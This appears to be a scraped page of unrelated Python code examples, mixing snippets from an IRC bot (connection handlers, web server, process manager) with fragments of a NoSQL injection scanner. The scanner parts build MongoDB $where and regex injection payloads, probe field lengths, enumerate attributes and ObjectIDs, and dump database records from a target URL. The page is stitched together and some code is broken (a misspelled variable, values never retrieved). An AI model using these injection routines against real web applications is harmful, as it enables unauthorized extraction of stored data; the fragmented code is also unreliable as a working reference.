Пример #1
0
    def retrieveMaxLength(self):
        try:
            length = 1;
            data = copy.deepcopy(self.scanner.data);
            self.injectRegex(data,self.param,".{"+str(length)+"}");
            #data.pop(self.param);
            #data[self.param+"[$regex]"] = ".{"+str(length)+"}";
            req = self.scanner.sendData(data);
            check = self.scanner.check(req);
            
            while check != "none":
                if length == 70:
                    if question("Length abnormally long. Do you want to terminate the program?"):
                        return -1;
                length += 1;
                data = copy.deepcopy(self.scanner.data);
                self.injectRegex(data,self.param,".{"+str(length)+"}");
                #data.pop(self.param);
                #data[self.param+"[$regex]"] = ".{"+str(length)+"}";
                req = self.scanner.sendData(data);
                check = self.scanner.check(req);

            success("Retrieved max length: " + str(length-1));
            return length-1;
        except Exception as e:
            print(e);
            failure("Failed to retrieve max length.");
            return -1;
    def retrieveMaxLength(self, attribute):
        try:
            length = 1

            payload = self.buildPayload(
                self.options, " || this." + attribute +
                ".toString().match(\\\".{" + str(length) + "}\\\") && '' == '")

            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)

            while self.scanner.check(req) != "none":
                if length == 70:
                    if question(
                            "Length abnormally long. Do you want to terminate the program?"
                    ):
                        return -1
                length += 1
                payload = self.buildPayload(
                    self.options, " || this." + attribute +
                    ".toString().match(\".{" + str(length) + "}\") && '' == '")
                data = copy.deepcopy(self.scanner.data)
                data[self.param] = payload
                req = self.scanner.sendData(data)

            success("Retrieved max length: " + str(length - 1))
            return length - 1
        except Exception as e:
            print(e)
            failure("Failed to retrieve max length.")
            return -1
Пример #3
0
 def handle_connect(self):
     if self.verbose:
         output.success('Connected!', 'STATUS')
     if self.serverpass:
         self.write(('PASS', self.serverpass), output=False)
     self.write(('NICK', self.nick), output=False)
     self.write(('USER', self.user, '+iw', self.nick), self.name, output=False)
Пример #4
0
 def handle_connect(self):
     self.irc_startup = int(time.time())
     output.success('Connected!', 'STATUS')
     if self.server_password:
         self.write(('PASS', self.server_password), output=False)
     self.write(('NICK', self.nick), output=False)
     self.write(('USER', self.user, '+iw', self.nick),
                self.name, output=False)
Пример #5
0
 def handle_connect(self):
     if self.verbose:
         output.success('Connected!', 'STATUS')
     if self.server_password:
         self.write(('PASS', self.server_password), output=False)
     self.write(('NICK', self.nick), output=False)
     self.write(('USER', self.user, '+iw', self.nick),
                self.name,
                output=False)
Пример #6
0
def init(host, port):
    """Tries to start the webserver. Fails if someone initiates a reload, or port is already in use."""
    try:
        time.sleep(5)
        server = HTTPServer(("0.0.0.0", port), WebServer)
        output.success("Starting HTTP server on %s:%s" % (host, port), "WEBSERVER")
    except:
        return
    server.serve_forever()
Пример #7
0
 def handle_connect(self):
     self.irc_startup = int(time.time())
     output.success('Connected!', 'STATUS')
     if self.server_password:
         self.write(('PASS', self.server_password), output=False)
     self.write(('NICK', self.nick), output=False)
     self.write(('USER', self.user, '+iw', self.nick),
                self.name,
                output=False)
    def grabDataFromID(self, objectID):
        dump = {}
        for attribute in self.scanner.element_attributes:
            if attribute == "_id":
                continue
            length = -1
            value = None
            try:
                testLength = 0
                bold("Attempting to retrieve length of " + attribute +
                     " for ID " + objectID)
                while length == -1:
                    testLength += 1
                    if testLength == 70:
                        if question(
                                "The length seems unnaturally long. Skip this attribute?"
                        ):
                            break
                    regex = "^" + "." * testLength + "$"
                    payload = self.buildPayload(
                        self.options,
                        " || this." + attribute + ".toString().match(\\\"" +
                        regex + "\\\") && this._id.str == '" + objectID)
                    data = copy.deepcopy(self.scanner.data)
                    data[self.param] = payload
                    req = self.scanner.sendData(data)
                    check = self.scanner.check(req)
                    if check != "none":
                        length = testLength
                        success("Retrieved length " + str(testLength) +
                                " for " + attribute + " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve exact length for " + attribute +
                        " for ID " + objectID)

            try:
                if length == -1:
                    failure("Failed to retrieve " + attribute + " for ID " +
                            objectID)
                    continue

                bold("Attempting to retrieve value of " + attribute +
                     " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve value of " + attribute +
                        " for ID " + objectID)

            dump[attribute] = {
                "length": length,
                "value": value
            }
        return dump
Пример #9
0
def init(host, port):
    """Tries to start the webserver. Fails if someone initiates a reload, or port is already in use."""
    try:
        time.sleep(5)
        server = HTTPServer(('0.0.0.0', port), WebServer)
        output.success('Starting HTTP server on %s:%s' % (host, port),
                       'WEBSERVER')
    except:
        return
    server.serve_forever()
    def grabData(self):
        if len(self.scanner.element_attributes) > 0:
            if question(
                    "There are already some found attributes. Do you want to find again with this module?"
            ):
                self.grabElementAttributes()
        else:
            self.grabElementAttributes()

        if len(self.scanner.element_attributes) > 0:
            success("Some attributes are present. We can proceed to step 2.")
            bold("Attributes to be used:")
            for attribute in self.scanner.element_attributes:
                bold("- " + attribute)
        else:
            failure("No attributes could be found. We cannot dump anything.")
            return None

        if len(self.scanner.objectIDs) > 0:
            if question(
                    "There are already some found IDs. Do you want to find again with this module?"
            ):
                self.grabIDs()
        else:
            self.grabIDs()

        if len(self.scanner.objectIDs) == 0:
            failure("No IDs found. Database may be empty.")
            return None

        if len(self.scanner.objectIDs) > 0:
            success("Some ObjectIDs are present. Proceeding with step 3.")

        grabbedData = {}
        for objectID in self.scanner.objectIDs:
            dump = self.grabDataFromID(objectID)
            grabbedData[objectID] = dump

        output = []
        for id in grabbedData:
            output.append(id)
            dump = grabbedData[id]
            for attrib in dump:
                value = dump[attrib]["value"]
                output.append("\t" + attrib + " : " + str(value))

        return ["Element Attributes:"] + self.scanner.element_attributes + [
            "", "Object IDs:"
        ] + self.objectIDs
Пример #11
0
 def testParam(self, p):
     successes = []
     tests = getTests(self.url, p, self)
     self.tests[p] = tests
     for testname in tests:
         test = tests[testname]
         if str(test.getID()) in self.techniques or str(
                 test.getType()) in self.techniques:
             info("Attempting " + testname)
             if test.vulnTest():
                 success(p + " is " + testname + " injectable!")
                 successes.append(testname)
         else:
             verbose("Skipping test " + testname)
     return successes
Пример #12
0
def docstring():
    symbol = '*'
    lines = __doc__.strip().split('\n')
    largest = 0
    for line in lines:
        if len(line) > largest:
            largest = len(line)
    outer = (largest + (1 * 4)) * symbol
    output.normal(outer, False)
    for line in lines:
        tmp = symbol + (1 * ' ') + line
        sidedif = (largest + (1 * 4)) - len(tmp) - 1
        tmp += ' ' * sidedif + symbol
        output.normal(tmp, False)
    output.normal(outer, False)
    output.success('Initializing the bot', 'START')
Пример #13
0
def docstring():
    symbol = '*'
    lines = __doc__.strip().split('\n')
    largest = 0
    for line in lines:
        if len(line) > largest:
            largest = len(line)
    outer = (largest + (1 * 4)) * symbol
    output.normal(outer, False)
    for line in lines:
        tmp = symbol + (1 * ' ') + line
        sidedif = (largest + (1 * 4)) - len(tmp) - 1
        tmp += ' ' * sidedif + symbol
        output.normal(tmp, False)
    output.normal(outer, False)
    output.success('Initializing the bot', 'START')
Пример #14
0
 def retrieveLengths(self,maxLength):
     lengths = [];
     for length in range(1,maxLength+1):
         try:
             data = copy.deepcopy(self.scanner.data);
             self.injectRegex(data,self.param,"^(.{"+str(length)+"})$");
             #data.pop(self.param);
             #data[self.param+"[$regex]"] = "^(.{"+str(length)+"})$";
             req = self.scanner.sendData(data);
             check = self.scanner.check(req);
             if check != "none":
                 lengths.append(length);
                 success("Retrieved length " + str(length));
         except Exception as e:
             print(e);
             failure("Failed to retrieve exact length.");
             return lengths;
     return lengths;
Пример #15
0
def login_auth():
    bad = "Failed login from %s" % request.remote_addr
    good = "Successful login from %s" % request.remote_addr
    if request.json:
        post_data = request.json
    else:
        post_data = request.forms
    if not post_data:
        output.error(bad, "WEBSERVER")
        return {'success': False}

    isauthed = verify(post_data['passwd'], raw=True)
    if isauthed:
        response.set_cookie("auth", isauthed, max_age=2419200, path="/")
        output.success(good, "WEBSERVER")
        return {'success': True}
    else:
        output.error(bad, "WEBSERVER")
        return {'success': False}
Пример #16
0
def login_auth():
    bad = "Failed login from %s" % request.remote_addr
    good = "Successful login from %s" % request.remote_addr
    if request.json:
        post_data = request.json
    else:
        post_data = request.forms
    if not post_data:
        output.error(bad, "WEBSERVER")
        return {'success': False}

    isauthed = verify(post_data['passwd'], raw=True)
    if isauthed:
        response.set_cookie("auth", isauthed, max_age=2419200, path="/")
        output.success(good, "WEBSERVER")
        return {'success': True}
    else:
        output.error(bad, "WEBSERVER")
        return {'success': False}
Пример #17
0
def showTechniqueHelp(techniques):
    tests = getTests("", "", Scanner("http://localhost/index.php?me=a"))
    for testname in tests:
        test = tests[testname]
        if str(test.getID()) in techniques or str(
                test.getType()) in techniques:
            plain("")
            success(testname)
            print("_" * 50)
            failure("ID: " + str(test.getID()))
            type = "(a) Array Injection"
            if test.getType() == "w":
                type = "(w) Where Injection"
            if "blind" in testname.lower():
                type = "Blind " + type

            failure("Type: " + type)
            plain("")
            test.doc()
            print("_" * 50)
 def retrieveLengths(self, maxLength, attribute):
     lengths = []
     for length in range(1, maxLength + 1):
         try:
             regex = "^" + "." * length + "$"
             payload = self.buildPayload(
                 self.options, " || this." + attribute +
                 ".toString().match(\\\"" + regex + "\\\") && '' == '")
             data = copy.deepcopy(self.scanner.data)
             data[self.param] = payload
             req = self.scanner.sendData(data)
             check = self.scanner.check(req)
             if check != "none":
                 lengths.append(length)
                 success("Retrieved length " + str(length))
         except Exception as e:
             print(e)
             failure("Failed to retrieve exact length.")
             return lengths
     return lengths
    def vulnTest(self):
        failPayl = "\\"
        data = copy.deepcopy(self.scanner.data)
        data[self.param] = failPayl
        self.scanner.textErrorBaseline = self.scanner.sendData(data).text

        if self.scanner.textErrorBaseline != self.scanner.textBaseline:
            success("Basic check succeeded!")
        else:
            bold("Basic check failed. The rest of this module may not work.")

        for options in self.getAllOptions():
            verbose("Testing with: " + str(options))
            data = copy.deepcopy(self.scanner.data)
            data[self.param] = self.buildPayload(
                options,
                "; if(JSON.stringify(this).startsWith('{')){ return this; }; var dum = "
            )
            req = self.scanner.sendData(data)
            if req.text != self.scanner.textErrorBaseline:
                self.options = options
                success("Error-based content check worked!")
                success("Payload built!")
                return True
        return False
    def tryElementAttribute(self, attribute, newAttributes, retry=0):
        if retry > 10:
            failure(
                "Failed to connect to target 10 times! Consider killing the program."
            )
            return
        try:

            payload = self.buildPayload(
                self.options,
                " || this." + attribute + ".toString().match(/.*/) && '' == '")
            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)

            if req.text != self.scanner.textErrorBaseline:
                if attribute not in self.scanner.element_attributes:
                    newAttributes.append(attribute)
                    success("Found an element attribute: " + attribute)
                else:
                    info("Element attribute: " + attribute + " reconfirmed.")
        except:
            self.tryElementAttribute(atrribute, newAttributes, retry + 1)
    def grabIDs(self):

        if "_id" not in self.scanner.element_attributes:
            #All elements MUST have _id. If this was not found, then this probably wasn't an element.
            failure("_id was not one of the found attributes. Cannot dump.")
        else:
            self.keyAttribute = "_id"
        bold("Using " + self.keyAttribute + " as a unique key.")

        self.toGrabInFuture = []
        self.dumpIDValue()

        threads = []
        while len(self.toGrabInFuture) > 0:
            var = self.toGrabInFuture.pop()
            self.dumpIDValue(var=var, retry=5)

        for id in self.objectIDs:
            if id not in self.scanner.objectIDs:
                success("New ObjectID: " + id)
                self.scanner.objectIDs.append(id)
            else:
                bold("Re-confirmed id: " + id)
Пример #22
0
    def vulnTest(self):
        failPayl = "\\";
        data = copy.deepcopy(self.scanner.data);
        data[self.param] = failPayl;
        self.scanner.textErrorBaseline = self.scanner.sendData(data).text;

        if self.scanner.textErrorBaseline != self.scanner.textBaseline:
            success("Basic check succeeded!");
        else:
            bold("Basic check failed. The rest of this module may not work.");
        
        for options in self.getAllOptions():
            verbose("Testing with: " + str(options));
            data = copy.deepcopy(self.scanner.data);
            data[self.param] = self.buildPayload(options,"; return this; var dum = ");
            req = self.scanner.sendData(data);
            if req.text != self.scanner.textErrorBaseline:
                self.options = options;
                success("Error-based content check worked!");
                success("Payload built!");
                success(data[self.param]);
                return True;
        return False;
Пример #23
0
def main():
    colinit()
    banner()
    #Initiations
    parsed = extractArgs()
    scanner = initScanner(parsed)

    #Test connection to target
    if scanner.testConnection():
        success("URL can be reached.")
    else:
        failure(scanner.url + " cannot be reached. Did you forget http://?")
        sys.exit(1)

    print()

    params = scanner.getParams()

    if "v" in parsed:
        setVerbose(True)

    if "p" in parsed:
        toTest = parsed["p"].split(",")
        for param in toTest:
            if param not in params:
                failure("Param, " + param +
                        " is not provided in your get/post data!")
                sys.exit(1)
        params = toTest

    verbose("Going to test the following parameters:")
    for param in params:
        verbose(param)

    print()

    bold("Beginning testing phase.")
    vulnParams = {}
    tested = 0
    for param in params:
        tested += 1
        bold("Testing for param " + param)
        successes = scanner.testParam(param)
        if len(successes) > 0:
            vulnParams[param] = successes
            success(param + " is injectible.")
            if tested < len(params):
                if not question("Continue testing other parameters?"):
                    break

    print()
    bold("Test phase completed.")

    if len(vulnParams) == 0:
        failure("No vulnerable parameters found.")
        sys.exit(1)

    print()
    success("Vulnerable Parameters:")
    for param in vulnParams:
        success(param)
        for vuln in vulnParams[param]:
            success("- " + vuln)

    print()
    info("Attempting to dump data...")

    for param in vulnParams:
        bold("Parameter: " + param)
        for vuln in vulnParams[param]:
            print()
            bold("Attemping dump with " + vuln + " on param " + param)
            print()
            dump = scanner.dumpData(param, vuln)
            if dump == None:
                print()
                failure(vuln + " for " + param + " failed to dump.")
            else:
                print()
                success(vuln + " for " + param + " has retrieved:")
                if type(dump) == type("str"):
                    success("\t" + dump)
                elif type(dump) == type({}):
                    for key in dump:
                        success("\t" + str(key) + " : " + str(dump[key]))
                elif type(dump) == type([]):
                    for i in dump:
                        success("\t" + str(i))
            print()
Пример #24
0
def main(argv=None):
    # 1: Parse The Command Line
    parser = optparse.OptionParser('%prog [options]')
    parser.add_option(
        '-c', '--config', metavar='fn',
        help='use this configuration file or directory'
    )
    opts, args = parser.parse_args(argv)

    # 2: Documentation output
    docstring()

    # 3: Require python 2.7 or later
    if sys.version_info < (2, 7):
        output.error('Requires Python 2.7.x, from www.python.org')
        sys.exit(1)

    # 4. Create ~/.code if not made already
    if not os.path.isdir(dotdir):
        if not os.path.isdir(dotdir):
            try:
                output.info('Creating database directory in ~/.code...')
                os.mkdir(dotdir)
            except Exception as e:
                output.error('There was a problem creating %s:' % dotdir)
                output.error(str(e))
                output.error('Please fix this and then run code again.')
                sys.exit(1)

    # 5: Load The Configuration
    bot_config = opts.config or 'config.json'

    # and check if exists
    if not os.path.isfile(bot_config):
        output.error(
            'Configuration file "%s" does not exist. Please copy '
            'the example.json to config.json then run Code again' % bot_config)
        sys.exit(1)

    try:
        config = parse_json(bot_config)
    except Exception as e:
        output.error('The config file has syntax errors. Please fix them and run Code again!\n' + str(e))
        sys.exit(1)

    global threads

    for server in config['servers']:
        if server['host'] == 'irc.anotherexample.net':
            continue
        id = len(threads)
        process = Process(target=connect, args=(id, setupServer(server),))
        process.daemon = True
        process.start()
        threads.append({'id': id, 'config': server, 'process': process})
        time.sleep(5)

    # 6: Begin managing these processes
    try:
        # set some temporary variables that we will be using for config
        # file version checking
        conf_last_check = int(time.time())
        conf_last_mtime = int(os.path.getmtime(bot_config))
        while True:
            time.sleep(1)
            if (int(time.time()) - conf_last_check) > 10 and int(os.path.getmtime(bot_config)) > conf_last_mtime:
                conf_last_check = int(time.time())
                conf_last_mtime = int(os.path.getmtime(bot_config))
                try:
                    # If the new configuration file isn't the same as the last
                    # one that we saved, attempt to re-import it
                    config_new = parse_json(bot_config)
                    if len(config_new['servers']) == len(config['servers']) and len(config_new['servers']) == len(threads):
                        output.success('Configuration file %s has changed! Use the restart command to take affect!' % bot_config)
                        config = config_new
                        for i in range(len(config['servers'])):
                            # Once they reboot that connection, it should autoload
                            # the new config.
                            threads[i]['config'] = config['servers'][i]
                except Exception as e:
                    # Only spit out errors once per file modification
                    output.error("Configuration file has been changed, however I cannot read it! (%s)" % str(e))
            if len(threads) == 0:
                output.warning('No more processes to manage. Exiting...')
                sys.exit()
            for id in range(len(threads)):
                p = threads[id]['process']
                if p.exitcode == 0:
                    # Assume it exited safely. Ignore the termination.
                    p.terminate()
                    output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
                    del threads[id]
                    break
                if p.exitcode == 1:
                    # Exited erronously. We'll just assume it wants a reboot.
                    p.terminate()
                    p = Process(target=connect, args=(id, setupServer(threads[id]['config']),))
                    p.daemon = True
                    delay = threads[id]['config']['connect_delay'] if 'connect_delay' in threads[id]['config'] else 20
                    output.error('Restarting process id #%s (%s:%s) in %s seconds.' % (
                        id, threads[id]['config']['host'], threads[id]['config']['port'], str(delay)
                    ))
                    time.sleep(delay)
                    output.status('Regenerating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
                    p.start()
                    threads[id]['process'] = p
    except KeyboardInterrupt:
        output.success('Shutting down bot...', 'REQUEST')
        for id in range(len(threads)):
            p = threads[id]['process']
            output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
            p.terminate()
        time.sleep(1)
        sys.exit()
Пример #25
0
def main(argv=None):
    # 1: Parse The Command Line
    parser = optparse.OptionParser('%prog [options]')
    parser.add_option(
        '-c', '--config', metavar='fn',
        help='use this configuration file or directory'
    )
    opts, args = parser.parse_args(argv)

    # 2: Documentation output
    docstring()

    # 3: Require python 2.7 or later
    if sys.version_info < (2, 7):
        output.error('Requires Python 2.7.x, from www.python.org')
        sys.exit(1)

    # 4. Create ~/.code if not made already
    if not os.path.isdir(dotdir):
        if not os.path.isdir(dotdir):
            try:
                output.info('Creating database directory in ~/.code...')
                os.mkdir(dotdir)
            except Exception as e:
                output.error('There was a problem creating %s:' % dotdir)
                output.error(str(e))
                output.error('Please fix this and then run code again.')
                sys.exit(1)

    # 5: Load The Configuration
    bot_config = opts.config or 'config.json'

    # and check if exists
    if not os.path.isfile(bot_config):
        output.error(
            'Configuration file "%s" does not exist. Please copy '
            'the example.json to config.json then run Code again' % bot_config)
        sys.exit(1)

    try:
        config = parse_json(bot_config)
    except Exception as e:
        output.error('The config file has syntax errors. Please fix them and run Code again!\n' + str(e))
        sys.exit(1)

    global threads

    for server in config['servers']:
        if server['host'] == 'irc.anotherexample.net':
            continue
        id = len(threads)
        process = Process(target=connect, args=(id, setupServer(server),))
        process.daemon = True
        process.start()
        threads.append({'id': id, 'config': server, 'process': process})
        time.sleep(5)

    # 6: Begin managing these processes
    try:
        # set some temporary variables that we will be using for config
        # file version checking
        conf_last_check = int(time.time())
        conf_last_mtime = int(os.path.getmtime(bot_config))
        while True:
            time.sleep(1)
            if (int(time.time()) - conf_last_check) > 10 and int(os.path.getmtime(bot_config)) > conf_last_mtime:
                conf_last_check = int(time.time())
                conf_last_mtime = int(os.path.getmtime(bot_config))
                try:
                    # If the new configuration file isn't the same as the last
                    # one that we saved, attempt to re-import it
                    config_new = parse_json(bot_config)
                    if len(config_new['servers']) == len(config['servers']) and len(config_new['servers']) == len(threads):
                        output.success('Configuration file %s has changed! Use the restart command to take affect!' % bot_config)
                        config = config_new
                        for i in range(len(config['servers'])):
                            # Once they reboot that connection, it should autoload
                            # the new config.
                            threads[i]['config'] = config['servers'][i]
                except Exception as e:
                    # Only spit out errors once per file modification
                    output.error("Configuration file has been changed, however I cannot read it! (%s)" % str(e))
            if len(threads) == 0:
                output.warning('No more processes to manage. Exiting...')
                sys.exit()
            for id in range(len(threads)):
                p = threads[id]['process']
                if p.exitcode == 0:
                    # Assume it exited safely. Ignore the termination.
                    p.terminate()
                    output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
                    del threads[id]
                    break
                if p.exitcode == 1:
                    # Exited erronously. We'll just assume it wants a reboot.
                    p.terminate()
                    p = Process(target=connect, args=(id, setupServer(threads[id]['config']),))
                    p.daemon = True
                    delay = threads[id]['config']['connect_delay'] if 'connect_delay' in threads[id]['config'] else 20
                    output.error('Restarting process id #%s (%s:%s) in %s seconds.' % (
                        id, threads[id]['config']['host'], threads[id]['config']['port'], str(delay)
                    ))
                    time.sleep(delay)
                    output.status('Regenerating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
                    p.start()
                    threads[id]['process'] = p
    except KeyboardInterrupt:
        output.success('Shutting down bot...', 'REQUEST')
        for id in range(len(threads)):
            p = threads[id]['process']
            output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port']))
            p.terminate()
        time.sleep(1)
        sys.exit()
Пример #26
0
if __name__ == '__main__':
    try:
        main()
        while True:
            time.sleep(1)
            if len(threads) == 0:
                output.error(
                    'No more processes to manage. Exiting...', 'ERROR')
                sys.exit()
            for id in range(len(threads)):
                p = threads[id]['process']
                if p.exitcode == 0:
                    # Assume it exited safely. Ignore the termination.
                    p.terminate()
                    output.success('Terminating process ID %s (%s:%s)' % (
                        id, threads[id]['config']['host'], threads[id]['config']['port']), 'STATUS')
                    del threads[id]
                    break
                if p.exitcode == 1:
                    # Exited erronously. We'll just assume it wants a reboot.
                    p.terminate()
                    p = Process(
                        target=connect, args=(id, setupServer(threads[id]['config']),))
                    p.daemon = True
                    output.success('Regenerating process ID %s (%s:%s)' % (
                        id, threads[id]['config']['host'], threads[id]['config']['port']), 'STATUS')
                    p.start()
                    threads[id]['process'] = p
    except KeyboardInterrupt:
        output.success('Shutting down bot...', 'REQUEST')
        sys.exit()